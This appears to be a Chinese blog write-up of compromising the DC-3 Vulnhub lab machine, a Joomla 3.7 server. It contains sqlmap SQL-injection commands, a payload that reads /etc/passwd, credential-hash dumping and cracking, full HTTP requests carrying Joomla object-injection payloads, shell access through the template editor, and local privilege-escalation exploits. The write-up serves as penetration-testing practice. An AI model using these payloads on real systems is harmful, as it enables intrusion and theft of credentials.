DC系列靶机(3)
2023-2-6 15:7:32 Author: 珂技知识分享(查看原文) 阅读量:16 收藏

3.    DC-3

fscan直接扫出SQL注入。

查看POC文件,构造GET包让sqlmap跑。

python sqlmap.py -u "http://192.168.29.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --is-dba

很久不见的dba用户,看看有没有secure_file_priv。

python sqlmap.py -u "http://192.168.29.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --file-read=/etc/passwd

似乎没有,手注下。

http://192.168.29.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,load_file(0x2F6574632F706173737764)),1)

如果无法读取/etc/passwd,updatexml()结果就为NULL,SQL就不会报错。那么结论就是虽然是dba,但是无法读写文件。

只能老老实实库表段值,由于使用了高版本mysql(8),mysql库user表无password字段,无法直接--password获得root的密文。

需要从mysql库user表authentication_string字段中取出。

python sqlmap.py -u "http://192.168.29.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D mysql -T user -C authentication_string --dump

joomladb库的任意表都无法注字段(也就是无法从information_schema.columns查出)。
不过可以爆破#_users的字段。

python sqlmap.py -u "http://192.168.29.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D joomladb -T #__users --columns

python sqlmap.py -u "http://192.168.29.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D joomladb -T #__users -C user --dumppython sqlmap.py -u "http://192.168.29.146/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D joomladb -T #__users -C password --dump

得到用户名和密码

admin$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu


此外,如果实在无法获得表名/字段,高版本mysql还有sys库中的一些表会缓存表名/字段,具体可自行搜索。

那么SQL注入的利用算是成功了,在进一步爆破hash之前,我们可以回顾下joomla的著名RCE漏洞,看能不能取巧。

CVE-2015-8562
要求Joomla<3.4.6,PHP < 5.6.13
https://www.anquanke.com/post/id/83120
https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
https://vulhub.org/#/environments/joomla/CVE-2015-8562/

其原理和我们之前学习的php session反序列化一致,非常巧妙的使用了%F0%9D%8C%86入数据库存储时进行截断,使得序列化数据字符串数对不上,再利用低版本php的一个特性,检测到第一个竖线后的序列化数据对不上,再去找下一个竖线,从而注入对象进行反序列化攻击。
其POC如下(先要获取Cookie,%f0%9d%8c%86需要urldecode,然后发送两次)。

GET / HTTP/1.1Host: 2.2.2.2:8080User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}%f0%9d%8c%86Cookie: c906b21b62a1fba27e46aefa6bb1f745=d1a99a7bbebd3522666df9406a2fbddcUpgrade-Insecure-Requests: 1

这就完了吗?如同P牛在文章中预言的一样,还可能存在其他的截断方式,于是在2019年,CVE-2015-8562出现了新的利用方法。
CNVD-2019-34135
https://www.freebuf.com/vuls/216512.html
其在登录时,可以通过\0来溢出password序列化对象,从而构造出新的对象进行注入,这种方法不依赖php版本。
POC如下(需要先获取Cookie和token,然后发送两次)

POST / HTTP/1.1Host: 2.2.2.2:8080Content-Type: application/x-www-form-urlencodedCookie: c906b21b62a1fba27e46aefa6bb1f745=f412a32badacd1f6daa9946dca24462fContent-Length: 563
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:&option=com_users&task=user.login&2d6fab2e6c6d173157280e6bba16dee2=1

那么DC-3的靶机在这个漏洞的攻击范围内吗?答案是不行,首先根据其mysql是高版本来看,php大概率也是高版本,其次http://192.168.29.146/README.txt中可以看到其为Joomla 3.7.x。

那么就只能用实战中很少使用的本地爆破,这种靶机很多时候使用john。

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > passjohn --show pass

http://192.168.29.146/administrator/index.php
admin/snoopy登录后台,后台没看到提示,不过找到模板处可以直接编辑php代码。

模板目录位于http://192.168.29.146/templates/beez3/error.php
很意外的是getshell了之后没有任何提示。

那么直接进行提权探测,选择了CVE-2017-16995(ubuntu)/CVE-2021-3156(sudo)/CVE-2021-4034(polkit),最终CVE-2021-4034提权成功。
https://github.com/arthepsy/CVE-2021-4034

但是显然CVE-2021-4034有点过于通杀了,靶机设计的时候肯定不是用的这个,回过头来看答案vulnhub还是倾向于用kali搜针对性的溢出exp。
lsb_release -a
uname -a

searchsploit ubuntu 16.04

最终使用39772.txt提权

https://github.com/p4sschen/ubuntu16-39772.zip-exp/blob/master/39772.zip



文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247486112&idx=1&sn=62f5ddf8c46bce6313251e0fa223af8b&chksm=fa9737cfcde0bed9b68e490973bf1c56037fae120876f4a3f23e43624e694e3b702e9455751d#rd
如有侵权请联系:admin#unsafe.sh